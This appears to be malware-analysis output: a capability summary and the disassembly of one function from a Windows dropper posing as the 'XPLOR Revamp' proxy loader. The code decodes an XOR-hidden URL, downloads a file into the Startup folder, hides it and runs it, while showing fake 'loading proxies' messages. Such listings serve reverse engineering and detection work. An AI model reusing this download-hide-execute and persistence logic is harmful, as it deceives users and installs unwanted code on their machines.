Function at 0x140006220
Capabilities:
Access peb ldr_data
Check if file exists
Create process on windows
Create thread
Download url
Encode data using xor
Execute command
Get common file path
Get file attributes
Get ntdll base address
Get startup folder
Receive data
Set console window title
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor ebx, ebx
lea rcx, str.chcp_65001___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.XPLOR_Revamp___v2.2
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.140005b60
test al, al
je 0x14000627c
mov byte [0x14000d7e8], 1
mov ecx, 8
call fcn.140007190
lea rcx, [0x140001060]
mov qword [rax], rcx
mov qword [rbp - 0x30], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400070f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140006b58
cmp dword [rsp + 0x38], 0
je 0x140006b4c
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140006b4c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
cmp byte [0x14000d7e8], al
jne 0x140006301
call fcn.1400054c0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
call fcn.140001220
call fcn.140001460
test eax, eax
je 0x140006332
mov byte [0x14000d7e8], 1
call fcn.140001660
test eax, eax
je 0x140006342
mov byte [0x14000d7e8], 1
mov dword [rsp + 0x50], 0x31093114
mov dword [rsp + 0x54], 0x310f310a
mov dword [rsp + 0x58], 0x31bb31f3
mov dword [rsp + 0x5c], 0x31ac31ad
mov dword [rsp + 0x60], 0x31ec31e2
mov dword [rsp + 0x64], 0x31e231ea
mov dword [rsp + 0x68], 0x31ee31a6
mov dword [rsp + 0x6c], 0x31f931eb
mov dword [rsp + 0x70], 0x31e831e8
mov dword [rsp + 0x74], 0x31a031e0
mov dword [rsp + 0x78], 0x31e531ca
mov dword [rsp + 0x7c], 0x31c331eb
mov dword [rbp - 0x80], 0x31a531ec
mov dword [rbp - 0x7c], 0x31ba31de
mov dword [rbp - 0x78], 0x31f231df
mov dword [rbp - 0x74], 0x31d431e3
mov dword [rbp - 0x70], 0x31f431f8
mov dword [rbp - 0x6c], 0x31fd31d1
mov dword [rbp - 0x68], 0x31d4318f
mov dword [rbp - 0x64], 0x31db31d2
mov dword [rbp - 0x60], 0x318b3197
mov dword [rbp - 0x5c], 0x31c631c4
mov dword [rbp - 0x58], 0x31dc
mov byte [rbp - 0x54], 1
mov rax, rbx
movdqa xmm3, xmmword [0x140009f70]
mov r8d, 4
movdqa xmm4, xmmword [0x140009f80]
nop dword [rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x50]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x50], xmm1
lea rcx, [r8 - 1]
lea rdx, [r8 - 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x54], xmm1
movq xmm0, r8
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x58]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x58], xmm1
lea rcx, [r8 + 3]
lea rdx, [r8 + 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x5c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x5c], xmm1
add rax, 8
add r8, 8
cmp r8, 0x2c
jb 0x140006410
cmp rax, 0x2d
jae 0x140006531
mov edx, 0x317c
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x2d
jb 0x140006520
mov byte [rbp - 0x54], 0
lea r8, [rbp - 0x56]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.140006de0
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [rbp - 0x30]
test eax, eax
lea rdx, [rbp + 0x10]
jns 0x140006577
lea rdx, [0x140009afc]
call fcn.140005a20
nop
mov dword [rsp + 0x30], 0x31193120
mov dword [rsp + 0x34], 0x310c311b
mov dword [rsp + 0x38], 0x31f531eb
mov dword [rsp + 0x3c], 0x31f331ed
mov dword [rsp + 0x40], 0x31e731aa
mov dword [rsp + 0x44], 0x31f331e7
mov word [rsp + 0x48], bx
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.140006b70
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000660d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006608
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
cmp byte [0x14000d7e8], 0
jne 0x140006a74
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Getting_proxies.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.WARNING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___This_might_take_a_while_depending_on_your_system___This_is_a_one_time_thing__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400069f7
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x1400067a1
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_get_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14000d7e9], 0
jne 0x140006a74
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_configuring.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x14000689a
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_configure_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_loading.._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 0x20
jg 0x14000698d
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_load_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Succesfully_loaded_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006a74
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Proxies_already_found__now_skipping..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14000d7e9], 1
lea rcx, [0x140009b34]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400020e0
call fcn.140003990
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140006acf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006aca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006aca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], bx
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140006b22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
xor eax, eax
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140007170
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3